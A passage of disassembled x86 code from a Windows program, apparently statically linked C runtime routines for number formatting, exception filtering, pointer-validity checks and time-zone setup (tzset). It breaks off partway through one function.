sub_432BA0 proc near ; CODE XREF: sub_42C640+34p
var_10 = byte ptr -10h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push 0
push 0
push 0
push 0
mov eax, [ebp+arg_4]
push eax
lea ecx, [ebp+var_10]
push ecx
lea edx, [ebp+var_C]
push edx
call sub_4363F0
add esp, 1Ch
mov eax, [ebp+arg_0]
push eax
lea ecx, [ebp+var_C]
push ecx
call sub_432A40
add esp, 8
mov esp, ebp
pop ebp
retn
sub_432BA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432BE0 proc near ; CODE XREF: sub_42C690+4Dp
; sub_42C880+45p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_8]
mov edx, [ecx+0Ch]
mov [ebp+var_8], edx
mov eax, [ebp+var_4]
mov byte ptr [eax], 30h
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_432C04: ; CODE XREF: sub_432BE0+69j
cmp [ebp+arg_4], 0
jle short loc_432C4B
mov edx, [ebp+var_8]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_432C28
mov ecx, [ebp+var_8]
movsx edx, byte ptr [ecx]
mov [ebp+var_C], edx
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
jmp short loc_432C2F
; ---------------------------------------------------------------------------
loc_432C28: ; CODE XREF: sub_432BE0+32j
mov [ebp+var_C], 30h
loc_432C2F: ; CODE XREF: sub_432BE0+46j
mov ecx, [ebp+var_4]
mov dl, byte ptr [ebp+var_C]
mov [ecx], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
mov ecx, [ebp+arg_4]
sub ecx, 1
mov [ebp+arg_4], ecx
jmp short loc_432C04
; ---------------------------------------------------------------------------
loc_432C4B: ; CODE XREF: sub_432BE0+28j
mov edx, [ebp+var_4]
mov byte ptr [edx], 0
cmp [ebp+arg_4], 0
jl short loc_432C94
mov eax, [ebp+var_8]
movsx ecx, byte ptr [eax]
cmp ecx, 35h
jl short loc_432C94
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
loc_432C6B: ; CODE XREF: sub_432BE0+A5j
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 39h
jnz short loc_432C87
mov edx, [ebp+var_4]
mov byte ptr [edx], 30h
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
jmp short loc_432C6B
; ---------------------------------------------------------------------------
loc_432C87: ; CODE XREF: sub_432BE0+94j
mov ecx, [ebp+var_4]
mov dl, [ecx]
add dl, 1
mov eax, [ebp+var_4]
mov [eax], dl
loc_432C94: ; CODE XREF: sub_432BE0+75j
; sub_432BE0+80j
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
cmp edx, 31h
jnz short loc_432CB0
mov eax, [ebp+arg_8]
mov ecx, [eax+4]
add ecx, 1
mov edx, [ebp+arg_8]
mov [edx+4], ecx
jmp short loc_432CD6
; ---------------------------------------------------------------------------
loc_432CB0: ; CODE XREF: sub_432BE0+BDj
mov eax, [ebp+arg_0]
add eax, 1
push eax
call sub_41BC70
add esp, 4
add eax, 1
push eax
mov ecx, [ebp+arg_0]
add ecx, 1
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_420840
add esp, 0Ch
loc_432CD6: ; CODE XREF: sub_432BE0+CEj
mov esp, ebp
pop ebp
retn
sub_432BE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432CE0 proc near ; CODE XREF: sub_42C690+1Ep
; sub_42C880+1Ep ...
var_28 = word ptr -28h
var_26 = byte ptr -26h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = word ptr -4
arg_0 = byte ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 28h
lea eax, [ebp+arg_0]
push eax
lea ecx, [ebp+var_C]
push ecx
call sub_432D60
add esp, 8
lea edx, [ebp+var_28]
push edx
push 0
push 11h
sub esp, 0Ch
mov eax, esp
mov ecx, [ebp+var_C]
mov [eax], ecx
mov edx, [ebp+var_8]
mov [eax+4], edx
mov cx, [ebp+var_4]
mov [eax+8], cx
call sub_436F70
add esp, 18h
mov edx, [ebp+arg_8]
mov [edx+8], eax
movsx eax, [ebp+var_26]
mov ecx, [ebp+arg_8]
mov [ecx], eax
movsx edx, [ebp+var_28]
mov eax, [ebp+arg_8]
mov [eax+4], edx
lea ecx, [ebp+var_24]
push ecx
mov edx, [ebp+arg_C]
push edx
call sub_41F620
add esp, 8
mov eax, [ebp+arg_8]
mov ecx, [ebp+arg_C]
mov [eax+0Ch], ecx
mov eax, [ebp+arg_8]
mov esp, ebp
pop ebp
retn
sub_432CE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432D60 proc near ; CODE XREF: sub_432CE0+Ep
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1Ch
mov [ebp+var_C], 80000000h
mov word ptr [ebp+var_4], 0
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cx, [eax+6]
and ecx, 7FF0h
sar ecx, 4
mov word ptr [ebp+var_14], cx
mov edx, [ebp+arg_4]
xor eax, eax
mov ax, [edx+6]
and eax, 8000h
mov word ptr [ebp+var_18], ax
mov ecx, [ebp+arg_4]
mov edx, [ecx+4]
and edx, 0FFFFFh
mov [ebp+var_8], edx
mov eax, [ebp+arg_4]
mov ecx, [eax]
mov [ebp+var_10], ecx
mov edx, [ebp+var_14]
and edx, 0FFFFh
mov [ebp+var_1C], edx
cmp [ebp+var_1C], 0
jz short loc_432DD7
cmp [ebp+var_1C], 7FFh
jz short loc_432DCF
jmp short loc_432E1A
; ---------------------------------------------------------------------------
loc_432DCF: ; CODE XREF: sub_432D60+6Bj
mov word ptr [ebp+var_4], 7FFFh
jmp short loc_432E35
; ---------------------------------------------------------------------------
loc_432DD7: ; CODE XREF: sub_432D60+62j
cmp [ebp+var_8], 0
jnz short loc_432E04
cmp [ebp+var_10], 0
jnz short loc_432E04
mov eax, [ebp+arg_0]
mov dword ptr [eax+4], 0
mov ecx, [ebp+arg_0]
mov dword ptr [ecx], 0
mov edx, [ebp+arg_0]
mov word ptr [edx+8], 0
jmp loc_432EBE
; ---------------------------------------------------------------------------
loc_432E04: ; CODE XREF: sub_432D60+7Bj
; sub_432D60+81j
movsx eax, word ptr [ebp+var_14]
add eax, 3C01h
mov word ptr [ebp+var_4], ax
mov [ebp+var_C], 0
jmp short loc_432E35
; ---------------------------------------------------------------------------
loc_432E1A: ; CODE XREF: sub_432D60+6Dj
mov cx, word ptr [ebp+var_14]
sub cx, 3FFh
mov word ptr [ebp+var_14], cx
movsx edx, word ptr [ebp+var_14]
add edx, 3FFFh
mov word ptr [ebp+var_4], dx
loc_432E35: ; CODE XREF: sub_432D60+75j
; sub_432D60+B8j
mov eax, [ebp+var_8]
shl eax, 0Bh
mov ecx, [ebp+var_C]
or ecx, eax
mov edx, [ebp+var_10]
shr edx, 15h
or ecx, edx
mov eax, [ebp+arg_0]
mov [eax+4], ecx
mov ecx, [ebp+var_10]
shl ecx, 0Bh
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_432E59: ; CODE XREF: sub_432D60+142j
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
and ecx, 80000000h
test ecx, ecx
jnz short loc_432EA4
mov edx, [ebp+arg_0]
mov eax, [edx+4]
shl eax, 1
mov ecx, [ebp+arg_0]
mov edx, [ecx]
and edx, 80000000h
neg edx
sbb edx, edx
neg edx
or eax, edx
mov ecx, [ebp+arg_0]
mov [ecx+4], eax
mov edx, [ebp+arg_0]
mov eax, [edx]
shl eax, 1
mov ecx, [ebp+arg_0]
mov [ecx], eax
mov dx, word ptr [ebp+var_4]
sub dx, 1
mov word ptr [ebp+var_4], dx
jmp short loc_432E59
; ---------------------------------------------------------------------------
loc_432EA4: ; CODE XREF: sub_432D60+107j
mov eax, [ebp+var_18]
and eax, 0FFFFh
mov ecx, [ebp+var_4]
and ecx, 0FFFFh
or eax, ecx
mov edx, [ebp+arg_0]
mov [edx+8], ax
loc_432EBE: ; CODE XREF: sub_432D60+9Fj
mov esp, ebp
pop ebp
retn
sub_432D60 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 2
call sub_422270
add esp, 4
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432EE0 proc near ; DATA XREF: sub_432F40+3o
; _2:004541A8o ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov ecx, [eax]
cmp dword ptr [ecx], 0E06D7363h
jnz short loc_432F0E
mov edx, [ebp+arg_0]
mov eax, [edx]
cmp dword ptr [eax+10h], 3
jnz short loc_432F0E
mov ecx, [ebp+arg_0]
mov edx, [ecx]
cmp dword ptr [edx+14h], 19930520h
jnz short loc_432F0E
call sub_42D860
loc_432F0E: ; CODE XREF: sub_432EE0+Ej
; sub_432EE0+19j ...
cmp ds:dword_4F3554, 0
jz short loc_432F35
mov eax, ds:dword_4F3554
push eax
call sub_432FE0
add esp, 4
test eax, eax
jz short loc_432F35
mov ecx, [ebp+arg_0]
push ecx
call ds:dword_4F3554
jmp short loc_432F37
; ---------------------------------------------------------------------------
loc_432F35: ; CODE XREF: sub_432EE0+35j
; sub_432EE0+47j
xor eax, eax
loc_432F37: ; CODE XREF: sub_432EE0+53j
pop ebp
retn 4
sub_432EE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432F40 proc near ; DATA XREF: _2:0043F02Co
push ebp
mov ebp, esp
push offset sub_432EE0
call ds:off_4F5300
mov ds:dword_4F3554, eax
pop ebp
retn
sub_432F40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432F60 proc near ; DATA XREF: _2:0043F044o
push ebp
mov ebp, esp
mov eax, ds:dword_4F3554
push eax
call ds:off_4F5300
pop ebp
retn
sub_432F60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432F80 proc near ; CODE XREF: sub_42CCA0+9Ep
; sub_42D4B0+77p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 1
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call ds:dword_4F5470 ; IsBadReadPtr
test eax, eax
jz short loc_432FA4
mov [ebp+var_4], 0
loc_432FA4: ; CODE XREF: sub_432F80+1Bj
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_432F80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432FB0 proc near ; CODE XREF: sub_42D4B0+89p
; sub_42D4B0+EDp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 1
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call ds:dword_4F546C ; IsBadWritePtr
test eax, eax
jz short loc_432FD4
mov [ebp+var_4], 0
loc_432FD4: ; CODE XREF: sub_432FB0+1Bj
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_432FB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432FE0 proc near ; CODE XREF: sub_42D4B0+1E2p
; sub_432EE0+3Dp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 1
mov eax, [ebp+arg_0]
push eax
call ds:dword_4F52FC ; IsBadCodePtr
test eax, eax
jz short loc_433000
mov [ebp+var_4], 0
loc_433000: ; CODE XREF: sub_432FE0+17j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_432FE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433010 proc near ; CODE XREF: sub_42D8CEp
push ebp
mov ebp, esp
push 0Ah
call sub_42FF30
add esp, 4
push 16h
call sub_4307E0
add esp, 4
push 3
call sub_41E8C0
pop ebp
retn
sub_433010 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433030 proc near ; CODE XREF: sub_42D9A0+8Ap
; sub_437D10:loc_43822Bp
push ebp
mov ebp, esp
cmp ds:dword_4F3610, 0
jnz short loc_43306B
push 0Bh
call sub_423280
add esp, 4
cmp ds:dword_4F3610, 0
jnz short loc_433061
call sub_433090
mov eax, ds:dword_4F3610
add eax, 1
mov ds:dword_4F3610, eax
loc_433061: ; CODE XREF: sub_433030+1Dj
push 0Bh
call sub_423320
add esp, 4
loc_43306B: ; CODE XREF: sub_433030+Aj
pop ebp
retn
sub_433030 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0Bh
call sub_423280
add esp, 4
call sub_433090
push 0Bh
call sub_423320
add esp, 4
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433090 proc near ; CODE XREF: sub_433030+1Fp
; _0:0043307Dp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_4], 0
push 0Ch
call sub_423280
add esp, 4
mov ds:dword_4F3558, 0
mov ds:dword_454530, 0FFFFFFFFh
mov eax, ds:dword_454530
mov ds:dword_454520, eax
push offset aTz ; "TZ"
call sub_4374C0
add esp, 4
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz loc_433213
push 0Ch
call sub_423320
add esp, 4
push offset dword_4F3560
call ds:dword_4F547C ; GetTimeZoneInformation
cmp eax, 0FFFFFFFFh
jz loc_43320E
mov ds:dword_4F3558, 1
mov ecx, ds:dword_4F3560
imul ecx, 3Ch
mov ds:dword_454488, ecx
xor edx, edx
mov dx, ds:word_4F35A6
test edx, edx
jz short loc_433139
mov eax, ds:dword_4F35B4
imul eax, 3Ch
mov ecx, ds:dword_454488
add ecx, eax
mov ds:dword_454488, ecx
loc_433139: ; CODE XREF: sub_433090+91j
xor edx, edx
mov dx, ds:word_4F35FA
test edx, edx
jz short loc_43316E
cmp ds:dword_4F3608, 0
jz short loc_43316E
mov ds:dword_45448C, 1
mov eax, ds:dword_4F3608
sub eax, ds:dword_4F35B4
imul eax, 3Ch
mov ds:dword_454490, eax
jmp short loc_433182
; ---------------------------------------------------------------------------
loc_43316E: ; CODE XREF: sub_433090+B4j
; sub_433090+BDj
mov ds:dword_45448C, 0
mov ds:dword_454490, 0
loc_433182: ; CODE XREF: sub_433090+DCj
lea ecx, [ebp+var_8]
push ecx
push 0
push 3Fh
mov edx, ds:off_454514
push edx
push 0FFFFFFFFh
push offset dword_4F3564
push 220h
mov eax, ds:dword_4F3408
push eax
call ds:dword_4F5450 ; WideCharToMultiByte
test eax, eax
jz short loc_4331BF
cmp [ebp+var_8], 0
jnz short loc_4331BF
mov ecx, ds:off_454514
mov byte ptr [ecx+3Fh], 0
jmp short loc_4331C8
; ---------------------------------------------------------------------------
loc_4331BF: ; CODE XREF: sub_433090+11Bj
; sub_433090+121j
mov edx, ds:off_454514
mov byte ptr [edx], 0
loc_4331C8: ; CODE XREF: sub_433090+12Dj
lea eax, [ebp+var_8]
push eax
push 0
push 3Fh
mov ecx, ds:off_454518
push ecx
push 0FFFFFFFFh
push offset dword_4F35B8
push 220h
mov edx, ds:dword_4F3408
push edx
call ds:dword_4F5450 ; WideCharToMultiByte
test eax, eax
jz short loc_433205
cmp [ebp+var_8], 0
jnz short loc_433205
mov eax, ds:off_454518
mov byte ptr [eax+3Fh], 0
jmp short loc_43320E
; ---------------------------------------------------------------------------
loc_433205: ; CODE XREF: sub_433090+162j
; sub_433090+168j
mov ecx, ds:off_454518
mov byte ptr [ecx], 0
loc_43320E: ; CODE XREF: sub_433090+67j
; sub_433090+173j
jmp loc_433437
; ---------------------------------------------------------------------------
loc_433213: ; CODE XREF: sub_433090+49j
mov edx, [ebp+var_C]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_43323D
cmp ds:dword_4F360C, 0
jz short loc_43324C
mov ecx, ds:dword_4F360C
push ecx
mov edx, [ebp+var_C]
push edx
call sub_41F7E0
add esp, 8
test eax, eax
jnz short loc_43324C
loc_43323D: ; CODE XREF: sub_433090+18Bj
push 0Ch
call sub_423320
add esp, 4
jmp loc_433437
; ---------------------------------------------------------------------------
loc_43324C: ; CODE XREF: sub_433090+194j
; sub_433090+1ABj
push 2
mov eax, ds:dword_4F360C
push eax
call sub_41CA10
add esp, 8
push 10Ch
push offset aTzset_c ; "tzset.c"
push 2
mov ecx, [ebp+var_C]
push ecx
call sub_41BC70
add esp, 4
add eax, 1
push eax
call sub_41BE70
add esp, 10h
mov ds:dword_4F360C, eax
cmp ds:dword_4F360C, 0
jnz short loc_43329D
push 0Ch
call sub_423320
add esp, 4
jmp loc_433437
; ---------------------------------------------------------------------------
loc_43329D: ; CODE XREF: sub_433090+1FCj
mov edx, [ebp+var_C]
push edx
mov eax, ds:dword_4F360C
push eax
call sub_41F620
add esp, 8
push 0Ch
call sub_423320
add esp, 4
push 3
mov ecx, [ebp+var_C]
push ecx
mov edx, ds:off_454514
push edx
call sub_41E510
add esp, 0Ch
mov eax, ds:off_454514
mov byte ptr [eax+3], 0
mov ecx, [ebp+var_C]
add ecx, 3
mov [ebp+var_C], ecx
mov edx, [ebp+var_C]
movsx eax, byte ptr [edx]
cmp eax, 2Dh
jnz short loc_4332FD
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_C], edx
loc_4332FD: ; CODE XREF: sub_433090+259j
mov eax, [ebp+var_C]
push eax
call sub_41E610
add esp, 4
imul eax, 0E10h
mov ds:dword_454488, eax
loc_433314: ; CODE XREF: sub_433090+2AEj
mov ecx, [ebp+var_C]
movsx edx, byte ptr [ecx]
cmp edx, 2Bh
jz short loc_433335
mov eax, [ebp+var_C]
movsx ecx, byte ptr [eax]
cmp ecx, 30h
jl short loc_433340
mov edx, [ebp+var_C]
movsx eax, byte ptr [edx]
cmp eax, 39h
jg short loc_433340
loc_433335: ; CODE XREF: sub_433090+28Dj
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
jmp short loc_433314
; ---------------------------------------------------------------------------
loc_433340: ; CODE XREF: sub_433090+298j
; sub_433090+2A3j
mov edx, [ebp+var_C]
movsx eax, byte ptr [edx]
cmp eax, 3Ah
jnz loc_4333E5
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
mov edx, [ebp+var_C]
push edx
call sub_41E610
add esp, 4
imul eax, 3Ch
mov ecx, ds:dword_454488
add ecx, eax
mov ds:dword_454488, ecx
loc_433375: ; CODE XREF: sub_433090+304j
mov edx, [ebp+var_C]
movsx eax, byte ptr [edx]
cmp eax, 30h
jl short loc_433396
mov ecx, [ebp+var_C]
movsx edx, byte ptr [ecx]
cmp edx, 39h
jg short loc_433396
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_433375
; ---------------------------------------------------------------------------
loc_433396: ; CODE XREF: sub_433090+2EEj
; sub_433090+2F9j
mov ecx, [ebp+var_C]
movsx edx, byte ptr [ecx]
cmp edx, 3Ah
jnz short loc_4333E5
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_C]
push ecx
call sub_41E610
add esp, 4
mov edx, ds:dword_454488
add edx, eax
mov ds:dword_454488, edx
loc_4333C4: ; CODE XREF: sub_433090+353j
mov eax, [ebp+var_C]
movsx ecx, byte ptr [eax]
cmp ecx, 30h
jl short loc_4333E5
mov edx, [ebp+var_C]
movsx eax, byte ptr [edx]
cmp eax, 39h
jg short loc_4333E5
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
jmp short loc_4333C4
; ---------------------------------------------------------------------------
loc_4333E5: ; CODE XREF: sub_433090+2B9j
; sub_433090+30Fj ...
cmp [ebp+var_4], 0
jz short loc_4333F9
mov edx, ds:dword_454488
neg edx
mov ds:dword_454488, edx
loc_4333F9: ; CODE XREF: sub_433090+359j
mov eax, [ebp+var_C]
movsx ecx, byte ptr [eax]
mov ds:dword_45448C, ecx
cmp ds:dword_45448C, 0
jz short loc_43342E
push 3
mov edx, [ebp+var_C]
push edx
mov eax, ds:off_454518
push eax
call sub_41E510
add esp, 0Ch
mov ecx, ds:off_454518
mov byte ptr [ecx+3], 0
jmp short loc_433437
; ---------------------------------------------------------------------------
loc_43342E: ; CODE XREF: sub_433090+37Cj
mov edx, ds:off_454518
mov byte ptr [edx], 0
loc_433437: ; CODE XREF: sub_433090:loc_43320Ej
; sub_433090+1B7j ...
mov esp, ebp
pop ebp
retn
sub_433090 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433440 proc near ; CODE XREF: sub_42D9A0+CFp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push 0Bh
call sub_423280
add esp, 4
mov eax, [ebp+arg_0]
push eax
call sub_433470
add esp, 4
mov [ebp+var_4], eax
push 0Bh
call sub_423320
add esp, 4
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_433440 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433470 proc near ; CODE XREF: sub_433440+12p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp ds:dword_45448C, 0
jnz short loc_433484
xor eax, eax
jmp loc_433766
; ---------------------------------------------------------------------------
loc_433484: ; CODE XREF: sub_433470+Bj
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
cmp ecx, ds:dword_454520
jnz short loc_4334A4
mov edx, [ebp+arg_0]
mov eax, [edx+14h]
cmp eax, ds:dword_454530
jz loc_43366B
loc_4334A4: ; CODE XREF: sub_433470+20j
cmp ds:dword_4F3558, 0
jz loc_433625
xor ecx, ecx
mov cx, ds:word_4F35F8
test ecx, ecx
jnz short loc_433519
xor edx, edx
mov dx, ds:word_4F3606
push edx
xor eax, eax
mov ax, ds:word_4F3604
push eax
xor ecx, ecx
mov cx, ds:word_4F3602
push ecx
xor edx, edx
mov dx, ds:word_4F3600
push edx
push 0
xor eax, eax
mov ax, ds:word_4F35FC
push eax
xor ecx, ecx
mov cx, ds:word_4F35FE
push ecx
xor edx, edx
mov dx, ds:word_4F35FA
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
push ecx
push 1
push 1
call sub_433770
add esp, 2Ch
jmp short loc_43356A
; ---------------------------------------------------------------------------
loc_433519: ; CODE XREF: sub_433470+4Cj
xor edx, edx
mov dx, ds:word_4F3606
push edx
xor eax, eax
mov ax, ds:word_4F3604
push eax
xor ecx, ecx
mov cx, ds:word_4F3602
push ecx
xor edx, edx
mov dx, ds:word_4F3600
push edx
xor eax, eax
mov ax, ds:word_4F35FE
push eax
push 0
push 0
xor ecx, ecx
mov cx, ds:word_4F35FA
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+14h]
push eax
push 0
push 1
call sub_433770
add esp, 2Ch
loc_43356A: ; CODE XREF: sub_433470+A7j
xor ecx, ecx
mov cx, ds:word_4F35A4
test ecx, ecx
jnz short loc_4335D2
xor edx, edx
mov dx, ds:word_4F35B2
push edx
xor eax, eax
mov ax, ds:word_4F35B0
push eax
xor ecx, ecx
mov cx, ds:word_4F35AE
push ecx
xor edx, edx
mov dx, ds:word_4F35AC
push edx
push 0
xor eax, eax
mov ax, ds:word_4F35A8
push eax
xor ecx, ecx
mov cx, ds:word_4F35AA
push ecx
xor edx, edx
mov dx, ds:word_4F35A6
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
push ecx
push 1
push 0
call sub_433770
add esp, 2Ch
jmp short loc_433623
; ---------------------------------------------------------------------------
loc_4335D2: ; CODE XREF: sub_433470+105j
xor edx, edx
mov dx, ds:word_4F35B2
push edx
xor eax, eax
mov ax, ds:word_4F35B0
push eax
xor ecx, ecx
mov cx, ds:word_4F35AE
push ecx
xor edx, edx
mov dx, ds:word_4F35AC
push edx
xor eax, eax
mov ax, ds:word_4F35AA
push eax
push 0
push 0
xor ecx, ecx
mov cx, ds:word_4F35A6
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+14h]
push eax
push 0
push 0
call sub_433770
add esp, 2Ch
loc_433623: ; CODE XREF: sub_433470+160j
jmp short loc_43366B
; ---------------------------------------------------------------------------
loc_433625: ; CODE XREF: sub_433470+3Bj
push 0
push 0
push 0
push 2
push 0
push 0
push 1
push 4
mov ecx, [ebp+arg_0]
mov edx, [ecx+14h]
push edx
push 1
push 1
call sub_433770
add esp, 2Ch
push 0
push 0
push 0
push 2
push 0
push 0
push 5
push 0Ah
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
push ecx
push 1
push 0
call sub_433770
add esp, 2Ch
loc_43366B: ; CODE XREF: sub_433470+2Ej
; sub_433470:loc_433623j
mov edx, ds:dword_454524
cmp edx, ds:dword_454534
jge short loc_4336C4
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
cmp ecx, ds:dword_454524
jl short loc_433695
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
cmp eax, ds:dword_454534
jle short loc_43369C
loc_433695: ; CODE XREF: sub_433470+215j
xor eax, eax
jmp loc_433766
; ---------------------------------------------------------------------------
loc_43369C: ; CODE XREF: sub_433470+223j
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
cmp edx, ds:dword_454524
jle short loc_4336C2
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
cmp ecx, ds:dword_454534
jge short loc_4336C2
mov eax, 1
jmp loc_433766
; ---------------------------------------------------------------------------
loc_4336C2: ; CODE XREF: sub_433470+238j
; sub_433470+246j
jmp short loc_433707
; ---------------------------------------------------------------------------
loc_4336C4: ; CODE XREF: sub_433470+207j
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
cmp eax, ds:dword_454534
jl short loc_4336E0
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
cmp edx, ds:dword_454524
jle short loc_4336E7
loc_4336E0: ; CODE XREF: sub_433470+260j
mov eax, 1
jmp short loc_433766
; ---------------------------------------------------------------------------
loc_4336E7: ; CODE XREF: sub_433470+26Ej
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
cmp ecx, ds:dword_454534
jle short loc_433707
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
cmp eax, ds:dword_454524
jge short loc_433707
xor eax, eax
jmp short loc_433766
; ---------------------------------------------------------------------------
loc_433707: ; CODE XREF: sub_433470:loc_4336C2j
; sub_433470+283j ...
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
imul edx, 3Ch
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, edx
mov edx, [ebp+arg_0]
mov eax, [edx+8]
imul eax, 0E10h
add ecx, eax
imul ecx, 3E8h
mov [ebp+var_4], ecx
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
cmp edx, ds:dword_454524
jnz short loc_433752
mov eax, [ebp+var_4]
cmp eax, ds:dword_454528
jl short loc_43374E
mov eax, 1
jmp short loc_433766
; ---------------------------------------------------------------------------
loc_43374E: ; CODE XREF: sub_433470+2D5j
xor eax, eax
jmp short loc_433766
; ---------------------------------------------------------------------------
loc_433752: ; CODE XREF: sub_433470+2CAj
mov ecx, [ebp+var_4]
cmp ecx, ds:dword_454538
jge short loc_433764
mov eax, 1
jmp short loc_433766
; ---------------------------------------------------------------------------
loc_433764: ; CODE XREF: sub_433470+2EBj
xor eax, eax
loc_433766: ; CODE XREF: sub_433470+Fj
; sub_433470+227j ...
mov esp, ebp
pop ebp
retn
sub_433470 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433770 proc near ; CODE XREF: sub_433470+9Fp
; sub_433470+F2p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
sub esp, 14h
cmp [ebp+arg_4], 1
